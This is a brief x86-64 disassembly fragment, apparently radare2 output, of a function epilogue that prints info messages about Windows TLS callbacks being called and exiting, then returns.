lea rcx, str.___info__Called_TLS_callbacks_n
call fcn.1400584a0
mov ecx, dword [rsp + 0x88]
call fcn.1400591c0
mov rdx, rax
lea rcx, str._info__TLS_callback_exit___s__n
call fcn.1400584a0
add rsp, 0x70
pop rdi
ret